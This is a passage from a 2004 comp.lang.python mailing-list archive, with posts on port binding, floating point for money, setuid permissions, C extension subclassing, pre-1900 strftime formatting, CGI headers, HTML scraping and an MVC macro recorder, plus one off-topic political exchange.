ds.myApply2('hoopty') ds.myApply2('myPrint') From mfuhr at fuhr.org Mon Sep 13 18:14:27 2004 From: mfuhr at fuhr.org (Michael Fuhr) Date: 13 Sep 2004 16:14:27 -0600 Subject: check for unused ports and then grab one References: <ci502a$e77$1@solaris.cc.vt.edu> <mailman.3268.1095108346.5135.python-list@python.org> Message-ID: <41461bc3$1_2@omega.dimensional.com> Erik Heneryd <erik at heneryd.com> writes: > Brad Tilley wrote: > > Instead of me arbitrarily assigning a high port number to a variable, is > > it possible to check for ports that are unused and then randomly assign > > one of them to a variable? > > No. Trial and error until you find one. On many systems, binding to port 0 will give you an available port; you can then use getsockname() to find out which port you got. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) sock.bind(('', 0)) sock.listen(socket.SOMAXCONN) ipaddr, port = sock.getsockname() print 'listening on %s port %d' % (ipaddr, port) -- Michael Fuhr http://www.fuhr.org/~mfuhr/ From john.burton at jbmail.com Wed Sep 22 03:13:53 2004 From: john.burton at jbmail.com (John Burton) Date: Wed, 22 Sep 2004 08:13:53 +0100 Subject: Why not FP for Money? References: <cc887c1d.0409202325.76ec2227@posting.google.com> Message-ID: <41512635$0$94916$5a6aecb4@news.aaisp.net.uk> "Chris Barker" <Barkmann at gmail.com> wrote in message news:cc887c1d.0409202325.76ec2227 at posting.google.com... > Hi all, > > I promise this is not a troll... Really, it's embarassing, because > this is one Engineer that DID take a Numerical Analysis course, and > from William Kahan, no less, and I still don't really get it. (and > yes, Alex, I could have gotten my degree without it) > > I've seen it suggested various times that one should use fixed point > for money, perhaps micro cents represented as integers. However, if > you do that, you need to make sure you do all the rounding correctly. On my version of python: # I spent ?1 and 13 pence p = 1.13 # How many pence is that? print int(p*100) 112 # Oops You don't need quadrillions of dollars before you run into a value which can't be represented in a floating point value to such a degree that the rounding comes out wrong. Yes you could probably "fix" the rounding to make it work in practice but the problems is that it is simply not possible to represent the value 1.13 in a floating point variable exactly and when dealing with money you want to represent it exacctly, particularly as it's so easy to do. From python-url at phaseit.net Tue Sep 14 18:09:50 2004 From: python-url at phaseit.net (Cameron Laird) Date: Tue, 14 Sep 2004 22:09:50 GMT Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 14) Message-ID: <ci7nnt$g65$1@lairds.us> QOTW: "[T]he essence of software development is code/task factorization." Hung Jung Lu "[U]se the best tool for the job, and don't use any that preclude you from using others at the same time as well." Roger Binns "SciPy 2004 ... was a great success." http://groups.google.com/groups?th=cf4d033c9ca22c42 Notice, by the way, the new availability of *Python Scripting for Computational Science*. http://www.amk.ca/diary/archives/cat_python.html#003329 "In recent months several posters on comp.lang.python have suggested that Python would benefit from making it possible for people to comment on the documentation, an approach similar to the PHP docs." Andrew Kuchling didn't join the speculation on the desirability of such a hypothetical; rather, In his award-winning manner, he created it. Notice that discussion now focuses on optimization. http://groups.google.com/groups?frame=left&th=4e553e0347dd115c Magnus Lie Hetland launches a Wiki just to "chisel ... out a possible standard API ... for graphs in Python." Notice that, by the end of the thread, the Wiki is *not* temporary. http://groups.google.com/groups?frame=left&th=93df0776394aa6f0 In a single thread, Alex Martelli both: enlists the tokenize module to introduce examples of the advantages of the new iterator protocol; and illustrates ways to leverage tokenize() to handle tokens unknown to base Python. http://groups.google.com/groups?frame=left&th=b9914fda3566bbd0 Bryan Olson argues that David Mertz's "weightless threads" are weak--weaker, at least, than true co-routines. http://groups.google.com/groups?frame=left&th=ca4b3ec6501d42aa Is there a problem greenlets solve? Did Churchill and Fermi share a speechwriter? http://groups.google.com/groups?frame=left&th=696336311fa0f429 http://groups.google.com/groups?frame=left&th=c802f304c8eafcc3 Alex Martelli makes the case that you, too, can readily learn enough to be a time wizard. http://groups.google.com/groups?th=135ee8f8e6a362f5 ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Brett Cannon continues the marvelous tradition established by Andrew Kuchling and Michael Hudson of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Business Forum "further[s] the interests of companies that base their business on ... Python." http://www.python-in-business.org Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Cetus collects Python hyperlinks. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. E-mail to <Python-URL at phaseit.net> should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask <claird at phaseit.net> to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From noone at here.com Thu Sep 30 13:18:01 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 18:18:01 +0100 Subject: List rotation References: <cjftdv$ofl$1@news8.svr.pol.co.uk> <mailman.4116.1096515802.5135.python-list@python.org> <cjg4cn$qsc$1@newsg4.svr.pol.co.uk> <cjgam4$1of$1@gemini.csx.cam.ac.uk> <cjhe1o$s8f$1@news8.svr.pol.co.uk> Message-ID: <cjhf0k$tc4$1@newsg3.svr.pol.co.uk> Hi, I think this might nearly be it; Chords = ['C','Db','E','Gc','Ab'] def rotate_letters(items, trans=0, rotation=['C','Cb','Cc','D','Db','Dc',\ 'E','Eb','Ec','F','Fb','Fc',\ 'G','Gb','Gc','A','Ab','Ac',\ 'B','Bb','Bc']): return [rotation[(rotation.index(item)+trans) % len(rotation)] for item in items] print TUNE print rotate_letters((Chords), trans=2) The problem is this gives; ['Cc', 'E', 'Ec', 'Ab', 'B'] Fine you say, thats what you asked for. What it should read is; ['D', 'Eb','F','Ac','Bb'] So the first capital letters need to transpose, but not the second lower case. Any ideas? For the musicians amoungst you the lower case refers to the inversion. i.e. none = root, b = first and c of course = second Thanks, Malcolm From michele.simionato at gmail.com Sun Sep 5 00:48:56 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 4 Sep 2004 21:48:56 -0700 Subject: age of Python programmers References: <mailman.1859.1092833285.5135.python-list@python.org> <889cbba0.0408181206.1812881c@posting.google.com> <mailman.1900.1092860258.5135.python-list@python.org> <Xns954A5141FF84JanC@213.118.38.197> <d8778a53.0408311322.9ad0233@posting.google.com> <6amZc.17353$ni.8118@okepread01> <mailman.2862.1094292746.5135.python-list@python.org> Message-ID: <4edc17eb.0409042048.3a9ed856@posting.google.com> Gerrit <gerrit at nl.linux.org> wrote in message news:<mailman.2862.1094292746.5135.python-list at python.org>... > > I'm 19, and I started with Python when I were 13, in December 1998. > > See also this usenet message, dated 29 May 1999. It's one of the very > first messages from me to the Python newsgroup. I'm not a very intensive > programmer, and I mainly do small scripts for useful purposes (I have > approx. 50 of them, one of which creates my .sig). I haven't looked > closely at other languages, although I looked a bit at Ruby. College > will teach me Java later this year. Don't you think it is vaste of your time? I thought you wanted to do something serious, such as Math or Physics. You will end up in any case as a programmer :) but at least you will learn something in the process. Michele Simionato From fumanchu at amor.org Fri Sep 17 00:38:39 2004 From: fumanchu at amor.org (Robert Brewer) Date: Thu, 16 Sep 2004 21:38:39 -0700 Subject: Python and ESRI (GIS) Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EE7@exchange.hqamor.amorhq.net> Tim Churches wrote: > It seems that Python skills are now highly desirable for GIS > people using ESRI > products - and ESRI has a major slice of the GIS software > market. ESRI seems to be > positioning Python as a replacement for its own proprieatry > scripting language > (Avenue)? Is that correct? Probably. I just took an ArcView I class last week from GeoMorphIS; while the (very competent) lecturer lectured, I played with Python 2.1 installed on the desktop provided ;) ArcView is the stripped-down version of ArcEdit, the stripped-down version of ArcInfo, the premiere ESRI GIS client. All of these packages use a central scripting tool called ArcToolbox for *all* scripting, from geo DB's to the client software itself. The object model is pretty complete. It is my understanding that any of those scripts can be written in Python. None of the defaults were, however. So there's that anecdote. Plus, whenever we mention to anyone from ESRI or their partners that I write everything in Python at work, their ears perk up *noticeably*. "Ooooh, so you use Python...? Cool... You're using pygarmin to push and pull GPS data already? Let me send over one of our engineers..." Buzz is fun. :) I have a trial copy of ArcView if you have any specific questions. Robert Brewer MIS Amor Ministries fumanchu at amor.org From b.niemann at betternet.de Fri Sep 17 05:37:41 2004 From: b.niemann at betternet.de (Benjamin Niemann) Date: Fri, 17 Sep 2004 11:37:41 +0200 Subject: permission problem with os.setuid In-Reply-To: <4edc17eb.0409170046.1fe1d2d9@posting.google.com> References: <4edc17eb.0409170046.1fe1d2d9@posting.google.com> Message-ID: <cieb24$d6s$1@online.de> Michele Simionato wrote: > I have a script that sometimes is run by myself (user id 501) and sometimes > by the mailer program as nobody/nogroup (userid 65534). I would like to change > the effective uid to 501 in any case, to get the right permissions, but > os.setuid and os.seteuid give me a OSError No. 1. Is there a way to get what I > want? My requirement is that the script should work indipendently from the > mailer program, i.e I would like to avoid configuring the mailer program by > hand. I am working on linux with postfix on Mandrake and exim4 on Debian. > Any suggestion? Once a process is running as nobody (or any other non-root user account), you cannot simple change the uid - that's a (very important) feature not a bug! To change the uid you have to be root first, 'sudo' may help you - though I don't know about the details how this works... Possible pseudocode (and by pseudo I mean pseudo ;) if os.getuid() == 0: # I'm root os.setuid(501) elif os.getuid() != 501: os.exec*("sudo", "myscript.py") # script is restarted, now as root assert os.getuid() == 501 From iker at research.att.com Tue Sep 14 11:24:42 2004 From: iker at research.att.com (Iker Arizmendi) Date: Tue, 14 Sep 2004 15:24:42 GMT Subject: Subclassing in C In-Reply-To: <m31xh59i9h.fsf@pc150.maths.bris.ac.uk> References: <I4057u.3Er@research.att.com> <m31xh59i9h.fsf@pc150.maths.bris.ac.uk> Message-ID: <41470D3A.1040206@research.att.com> I was setting tp_getattr to 0 in my subclass (*), but when I set it to PyObject_GenericGetAttr Python crashed. What does PyObject_GenericGetAttr do that would help in this case? Regards, Iker (*) The class I'm deriving from is defined in another extension module and it has its own tp_getattr method. Here's the stack trace (via Valgrind), just in case: Process terminating with default action of signal 11 (SIGSEGV) Access not within mapped region at address 0x65C9 at 0x1B97CAC3: PyType_IsSubtype (in /usr/lib/libpython2.3.so.1.0) by 0x1B96C92D: PyObject_GenericGetAttr (in /usr/lib/libpython2.3.so.1.0) by 0x1B96C5E8: PyObject_GetAttr (in /usr/lib/libpython2.3.so.1.0) by 0x1B9A51D2: (within /usr/lib/libpython2.3.so.1.0) by 0x1B9A65E2: PyEval_EvalCodeEx (in /usr/lib/libpython2.3.so.1.0) by 0x1B9A31B4: PyEval_EvalCode (in /usr/lib/libpython2.3.so.1.0) by 0x1B9D4D20: (within /usr/lib/libpython2.3.so.1.0) by 0x1B9D41EE: PyRun_SimpleFileExFlags (in /usr/lib/libpython2.3.so.1.0) by 0x1B9D3BEF: PyRun_AnyFileExFlags (in /usr/lib/libpython2.3.so.1.0) by 0x1B9DC7A3: Py_Main (in /usr/lib/libpython2.3.so.1.0) by 0x8048640: main (in /usr/bin/python2.3) Michael Hudson wrote: > Iker Arizmendi <iker at research.att.com> writes: > > >>Hello all, >> >>I've defined a class in a C extension module that is >>(or rather, I would like to be) a subclass of another >>class. I do this by simply setting the tp_base pointer >>of my subclass's type object. However, this results >>in a class that exposes the methods of the base class, >>but ONLY those. The methods of my subclass are hidden. >>I'd obviously like to have the methods of the base >>class AND the new methods of the subclass available. > > > Are you setting tp_getattro to PyObject_GenericGetAttr? (just a > guess). > > Cheers, > mwh > From gabriel.cooper at mediapulse.com Mon Sep 27 17:11:46 2004 From: gabriel.cooper at mediapulse.com (Gabriel Cooper) Date: Mon, 27 Sep 2004 17:11:46 -0400 Subject: Open Education in Python In-Reply-To: <10l959t466bgde8@corp.supernews.com> References: <10l959t466bgde8@corp.supernews.com> Message-ID: <41588212.7070108@mediapulse.com> Maboroshi wrote: > Hi I was interested in starting an online open education center > focusing on the Python language. This center would consist of > beginning to advanced computer science courses using the programming > language Python its primary goal would be to create a community of > students and teachers who actively discuss in newsgroups write > articles give online lectures and more. > > How it would work: It would work on a what you put into the community > is what you get out of it bases. No money would be collected > > This has not been entirely thought out as I am just putting the > feelers out and want to see what the python community thinks about it. > Let me know if this happens, it sounds very cool. It could work quite well, considering that those who go through the lower courses would then be able to teach them/moderate them or their help boards. You could even work out some kind of round-robin system among the students where those that sign up to take a course volunteer to be the primary contact for discussions/help/Q&A/etc for a day. It would help them stay motivated (since generally motivation comes from not wanting to lose $$ or the knowledge that a grade later counts towards something, and since neither exist, some users might need that small bit of help to stay on-task) and provide for a self-sustaining base for discussion and homework help. Gabriel. From mal at egenix.com Tue Sep 14 14:39:22 2004 From: mal at egenix.com (M.-A. Lemburg) Date: Tue, 14 Sep 2004 20:39:22 +0200 Subject: PyODB a Python unixODBC API binding In-Reply-To: <AQy1d.431$kc1.215@newsfe3-gui.ntli.net> References: <AQy1d.431$kc1.215@newsfe3-gui.ntli.net> Message-ID: <41473ADA.60608@egenix.com> Neil Moses wrote: > I would like to announce the first release of PyODB a Python unixODBC > API binding. > > PyODB is a Python module and provides a simplified set of bindings to > unixODBC > (http://www.unixodbc.org) allowing fast and easy development of open > database > applications. > > The module supports multiple database connections using a connection > class and > two methods execute() and fetch() to handle SQL queries. Disconnection > from the > database is automatic using the class destructor. > > My main aim in producing this software was to hide the complexities of > the ODBC > C API from the programmer and so simplify application development. I > imagine this > might appeal to people providing dynamic content on a web server or > anyone who > wished to experiment with ODBC in developing small applications. Just wondering: didn't you know of the mxODBC Python extension ? It's been around for almost 7 years now and provides a DB-API 2.0 interface to ODBC databases and managers (including Windows ODBC manager, iODBC and unixODBC). > The software has been developed on a Linux environment using Python 2.3 > and SWIG (http://www.swig.org). The module has been tested on Linux and > Solaris platforms using databases PostgreSQL and Informix, but should work > on any platform supporting unixODBC and an ODBC database driver. > > To download the release visit https://sourceforge.net/projects/pyodb -- Marc-Andre Lemburg eGenix.com Professional Python Services directly from the Source (#1, Sep 14 2004) >>> Python/Zope Consulting and Support ... http://www.egenix.com/ >>> mxODBC.Zope.Database.Adapter ... http://zope.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ ::: Try mxODBC.Zope.DA for Windows,Linux,Solaris,FreeBSD for free ! :::: From spam at nimblegen.com Fri Sep 10 15:12:36 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Fri, 10 Sep 2004 14:12:36 -0500 Subject: Xah Lee's Unixism In-Reply-To: <4141c830$0$65574$a1866201@newsreader.visi.com> References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: <chsu8b$ujb$1@grandcanyon.binc.net> Grant Edwards wrote: > > What makes you think that the current US government gives a > shit about international agreements? Bush thinks he's entitled > to declare anybody and everybody an "enemy combatant" and lock > them up in secret forever. Add a moustache and he'd make a > pretty good Stalin. > Such statements only underscore the incredible ignorance of the author or his/her assumption of ignorance in the reader. President != Dictator. The U.S. President is limited to two four year terms so if someone is locked up "forever" the power to do so must extend far beyond any President. Fully one third of Americans are Democrats and our press is still free (not necessarily without bias but free). You must think W a genius to think he could pull something like that off. So, lets say you are an elected official on 9/12/01, the day after we lost *only* 3K out of the potentially 20-30K folks that could have been killed (that's how many folks spent their day in those towers). You no longer have any frame of reference for the magnitude or imminence of risk of an attack elsewhere in country. How much time do you spend studying up international treaties before you decide how to act? Say Bush did study the treaties and we failed to stop an attack and some other 3k folks got fried a few months later. Would you be supporting his re-election today or be slamming him for being indecisive? -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From adalke at mindspring.com Wed Sep 29 19:00:32 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 29 Sep 2004 23:00:32 GMT Subject: datetime strftime methods require year >= 1900 In-Reply-To: <mailman.4074.1096464944.5135.python-list@python.org> References: <mailman.4074.1096464944.5135.python-list@python.org> Message-ID: <k8H6d.13433$gG4.13418@newsread1.news.pas.earthlink.net> John Hunter wrote: > Does anyone know of a datetime string formatter that can handles > strftime format strings over the full range that datetime objects > support? Here's what the Python source says /* Give up if the year is before 1900. * Python strftime() plays games with the year, and different * games depending on whether envar PYTHON2K is set. This makes * years before 1900 a nightmare, even if the platform strftime * supports them (and not all do). * We could get a lot farther here by avoiding Python's strftime * wrapper and calling the C strftime() directly, but that isn't * an option in the Python implementation of this module. */ The underlying time.strftime module supports special behaviour for dates < 1900. >>> time.accept2dyear 1 >>> time.strftime("%Y", datetime.date(20, 1, 1).timetuple()) '2020' >>> time.accept2dyear = 0 >>> time.strftime("%Y", datetime.date(20, 1, 1).timetuple()) Traceback (most recent call last): File "<stdin>", line 1, in ? ValueError: year >= 1900 required >>> One concern about your request is, what a date mean when you get before 1900? I assume you want the proleptic Gregorian calendar, that is, to apply it even when and where it wasn't in use. One way to fake it is to move the date to a date in the supported time range which starts on the same day, then use strftime on that new date. It's not enough to find the fake year number in the resulting string and convert it into the real year number. After all, the format string might be "1980 %Y" and if the %Y expands to 1980 in your shifted time frame then you don't know which to change. To figure that out, move the date forward by 28 years (which is the repeat cycle except for the non-leap centuries) and do it again. The parts of the two strings that differ indicate where to put the change. I tried to write this function but I wasn't sure how to handle the non-leap year centuries. It seems to be that those are the same as 6 years later, so that Jan. 1900's calendar looks like 1906's. Here's what I came up with. Seems to work. # Format a datetime.date using the proleptic Gregorian calendar import time, datetime def _findall(text, substr): # Also finds overlaps sites = [] i = 0 while 1: j = text.find(substr, i) if j == -1: break sites.append(j) i=j+1 return sites # I hope I did this math right. Every 28 years the # calendar repeats, except through century leap years # excepting the 400 year leap years. But only if # you're using the Gregorian calendar. def strftime(dt, fmt): # WARNING: known bug with "%s", which is the number # of seconds since the epoch. This is too harsh # of a check. It should allow "%%s". fmt = fmt.replace("%s", "s") if dt.year > 1900: return time.strftime(fmt, dt.timetuple()) year = dt.year # For every non-leap year century, advance by # 6 years to get into the 28-year repeat cycle delta = 2000 - year off = 6*(delta // 100 + delta // 400) year = year + off # Move to around the year 2000 year = year + ((2000 - year)//28)*28 timetuple = dt.timetuple() s1 = time.strftime(fmt, (year,) + timetuple[1:]) sites1 = _findall(s1, str(year)) s2 = time.strftime(fmt, (year+28,) + timetuple[1:]) sites2 = _findall(s2, str(year+28)) sites = [] for site in sites1: if site in sites2: sites.append(site) s = s1 syear = "%4d" % (dt.year,) for site in sites: s = s[:site] + syear + s[site+4:] return s # Make sure that the day names are in order # from 1/1/1 until August 2000 def test(): s = strftime(datetime.date(1800, 9, 23), "%Y has the same days as 1980 and 2008") if s != "1800 has the same days as 1980 and 2008": raise AssertionError(s) print "Testing all day names from 0001/01/01 until 2000/08/01" days = [] for i in range(1, 10): days.append(datetime.date(2000, 1, i).strftime("%A")) nextday = {} for i in range(8): nextday[days[i]] = days[i+1] startdate = datetime.date(1, 1, 1) enddate = datetime.date(2000, 8, 1) prevday = strftime(startdate, "%A") one_day = datetime.timedelta(1) testdate = startdate + one_day while testdate < enddate: if (testdate.day == 1 and testdate.month == 1 and (testdate.year % 100 == 0)): print testdate.year day = strftime(testdate, "%A") if nextday[prevday] != day: raise AssertionError(str(testdate)) prevday = day testdate = testdate + one_day if __name__ == "__main__": test() >>> strftime(datetime.date(1850, 8, 2), "%Y/%M/%d was a %A") '1850/00/02 was a Friday' >>> % cal 8 1850 August 1850 S M Tu W Th F S 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Andrew dalke at dalkescientific.com From jerf at jerf.org Thu Sep 30 21:09:42 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Fri, 01 Oct 2004 01:09:42 GMT Subject: Reading a text file backwards References: <cjhqf2$9l1$1@news-int.gatech.edu> <1096591274.689794.313540@k17g2000odb.googlegroups.com> Message-ID: <pan.2004.10.02.07.10.13.91463@jerf.org> On Thu, 30 Sep 2004 17:41:14 -0700, Graham Fawcett wrote: > It's just shifting the burden perhaps, but if you're on a Unix system > you should be able to use tac(1) to reverse your file a bit faster: > > import os > for line in os.popen('tac myfile.txt'): > #do something with the line It probably isn't shifting the burden; they probably do it right. Doing it right involves reading the file in chunks backwards, and scanning backwards for newlines, but getting it right when lines cross boundaries, while perhaps not *hard*, is exactly the kind of tricky programming it is best to do once... preferably somebody else's once. :-) This way you don't read the file twice, as the first time can take a while. From fuzzyman at gmail.com Mon Sep 13 03:04:56 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 13 Sep 2004 00:04:56 -0700 Subject: Request Headers In a CGI References: <6f402501.0409100102.3fa002ea@posting.google.com> <slrnck2sab.9d5.sholden@flexal.cs.usyd.edu.au> Message-ID: <6f402501.0409122304.1fa79835@posting.google.com> Sam Holden <sholden at flexal.cs.usyd.edu.au> wrote in message news:<slrnck2sab.9d5.sholden at flexal.cs.usyd.edu.au>... > On 10 Sep 2004 02:02:23 -0700, Michael Foord <fuzzyman at gmail.com> wrote: > > Is it possible to get at the http request headers in a normal CGI ? > > > > I can't touch the server, so I can't install anything like mod_python. > > I've tried googling but the answer seems to be 'no'. > > > > I know I can reconstruct *most* headers from the environment variables > > - is this my only option ? I've heard of 'non-parsed headers', but I > > don't know how to use them from within a python cgi.... > > Non-parsed headers are unrelated - they involve the web server not > parsing the CGI response headers but instead sending them directly to > the browser. > > What you want can't be done. You can reconstruct most of what you want > via the environment, but not all of it. HTTP Authentication passwords > leap to mind. Which means it's impossible to implement basic authentication in CGI... it has to be done on the server..... (which I can't do)... Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From invalid at invalid.com Tue Sep 28 15:06:24 2004 From: invalid at invalid.com (copx) Date: Tue, 28 Sep 2004 21:06:24 +0200 Subject: crossplatform curses-style apps Message-ID: <cjccnh$cj2$01$1@news.t-online.com> Hi, I want to write a console/terminal app in Python that requires curses-like functionality. Problem: the python curses module doesn't seem to work on Windows. In fact it doesn't work (isn't part of the Python package) on my Linux distro (SUSE Linux 9.1 Special Edition) either. Well what should I do? The app is supposed to work on Windows and Linux at least (more platforms would be nice). TIA, copx From hellas_74 at hotmail.com Tue Sep 28 03:15:21 2004 From: hellas_74 at hotmail.com (Hellas) Date: Tue, 28 Sep 2004 09:15:21 +0200 Subject: A good IDE for Python Message-ID: <cjb38t$5ag$1@news.flashnet.it> Hello Guy I'm newbie of this program language so I need an software that it cans to help me to write correctly all key words like an IDE for Visual Basic integrated on the office's packet excuse me for my bad english Thanks a lot who it helps me From carribeiro at gmail.com Tue Sep 14 21:23:01 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 22:23:01 -0300 Subject: Strange "feature" involving double slashes in Win98 In-Reply-To: <huCdnXtcC8xsCdrcRVn-sg@powergate.ca> References: <mailman.3327.1095192228.5135.python-list@python.org> <ci7kou$eqj$00$1@news.t-online.com> <qOGdnf9RP5WexdrcRVn-oA@powergate.ca> <mailman.3331.1095196635.5135.python-list@python.org> <q-KdnbQfKohB8NrcRVn-ug@powergate.ca> <mailman.3334.1095201604.5135.python-list@python.org> <huCdnXtcC8xsCdrcRVn-sg@powergate.ca> Message-ID: <864d3709040914182329ed9ed4@mail.gmail.com> Oops. For some reason I misread your message. I'm using Win98 SE, and have no plans to upgrade (at least while I'm limited to my current PC setup). Regarding this bug: if it's clear that this is Windows bug, does it make sense to fix it in the libraries themselves? The bug exists, but it doesn't affect much software because few people do things the "wrong" way. A note in the documentation is more than enough to clarify the actual workings of the code in the case of Win9x. I'll report the bug to the DrPython guys, and let them solve the particular issue with their software. I fixed the problem in a couple of locations but I'm not sure if I found all relevant places. On Tue, 14 Sep 2004 21:03:44 -0400, Peter Hansen <peter at engcorp.com> wrote: > Carlos Ribeiro wrote: > > > On Tue, 14 Sep 2004 18:16:59 -0400, Peter Hansen <peter at engcorp.com> wrote: > > > >>Do you have pywin32 (win32all) installed? Try this one instead: > >> win32api.GetFullPathName('c://work') > >> > >>This does the same as abspath does above, on mine. > > > > You're right. That's what I got now: > > > > PythonWin 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit > > (Intel)] on win32. > >>>>import win32api > >>>>win32api.GetFullPathName('c://work') > > > > 'c:\\\\work' > > > > It seems that either ActivePython uses a different implementation for > > os.abspath(), or the code changed between 2.3.2 and 2.3.4. The last > > time I checked ActivePython was still using 2.3.2 -- I'll check it out > > again, and upgrade if a newer version is available. > > I reach a different conclusion. Note that when I said "this > does the same as abspath does above", I meant that *my* output > for the GetFullPathName() call is actually this: > > 'c:\\work' > > In other words, it appears to be an OS difference. What flavour > and version of Windows are you running? I'm using XP Pro SP2. > > -Peter > > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From theratpack91 at yahoo.co.uk Thu Sep 23 11:58:36 2004 From: theratpack91 at yahoo.co.uk (Chris McD) Date: Thu, 23 Sep 2004 16:58:36 +0100 Subject: Parsing HTML In-Reply-To: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se> References: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se> Message-ID: <4152f27c$0$69739$ed2619ec@ptn-nntp-reader01.plus.net> Anders Eriksson wrote: > Hello! > > I want to extract some info from a some specific HTML pages, Microsofts > International Word list (e.g. > http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm). I > want to take all the words, both English and the other language and create > a dictionary. so that I can look up About and get Om as the answer. > > How is the best way to do this? > > Please help! > > // Anders hi, try this: ############################################### import re, urllib2 #get page s = urllib2.urlopen('http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm').read() regex = re.compile('<td.*?>\d*\. (?:<b>)?(.*?)(?:</b>)?</td>') myresult = regex.findall(s) #print myresult # map pairs in list to key:value in dict nwords = range(len(myresult)) mydict = {} for i in range(min(nwords),max(nwords),2): mydict[myresult[i]] = myresult[i+1] #print mydict # try some words print mydict['wizard'] print mydict['Web site'] print mydict['unavailable'] ############################## which outputs: guide webbplats inte tillg??nglig Chris From uthand at hotmail.com Wed Sep 15 05:39:06 2004 From: uthand at hotmail.com (Fritz Bosch) Date: 15 Sep 2004 02:39:06 -0700 Subject: (macro) recorder for service requests in a model-view-controller architecture Message-ID: <cf038e65.0409150139.1389998a@posting.google.com> We are in the process of refactoring our GUI-based test application for radio equipment and are rewriting a significant part in Python. The new architecture will substantially be based on the model-view-controller pattern, as follows: User Input | v +-------------+ service request service request +-------------+ | aController +----------------+ +----------------+ aTestScript | +-------------+ | | +-------------+ v v +--------+ update +------------------+ | aView |<------------+ aModelObject | +--------+ +------------------+ ^ | v test equipment In interactive mode, the user generates stimuli for and performs measurements on the devices under test via the GUI, using controller objects. The controller objects send service request to model objects where the actual work is performed. Changes in the (data of) model objects are visualized by view objects. So far nothing special ;-) In order to automate test sequences, the user can also write test scripts (in Python), which send similar requests to the model objects (which are also written in Python). This should be made as simple as possible, as the users are not software developers. For instance, the user should normally not have to worry about the creation of the model objects ? these are typically created (in the user's global namespace) at initialization time (based on configuration files) or interactively using factories (which are also model objects). In addition, we have the requirement to record the service requests resulting from user input in interactive mode, in order to 'replay' these later - in other words a kind of macro recorder. The recording should be in the form of a Python script, which could be edited before its execution. It is important to record the service requests and not the user's interaction with controller objects. Naturally only the requests originating from controller objects should be intercepted and recorded. For the recording mechanism, we have two very different ideas: 1. The controller objects issue the requests as texts strings, which are eval'ed to 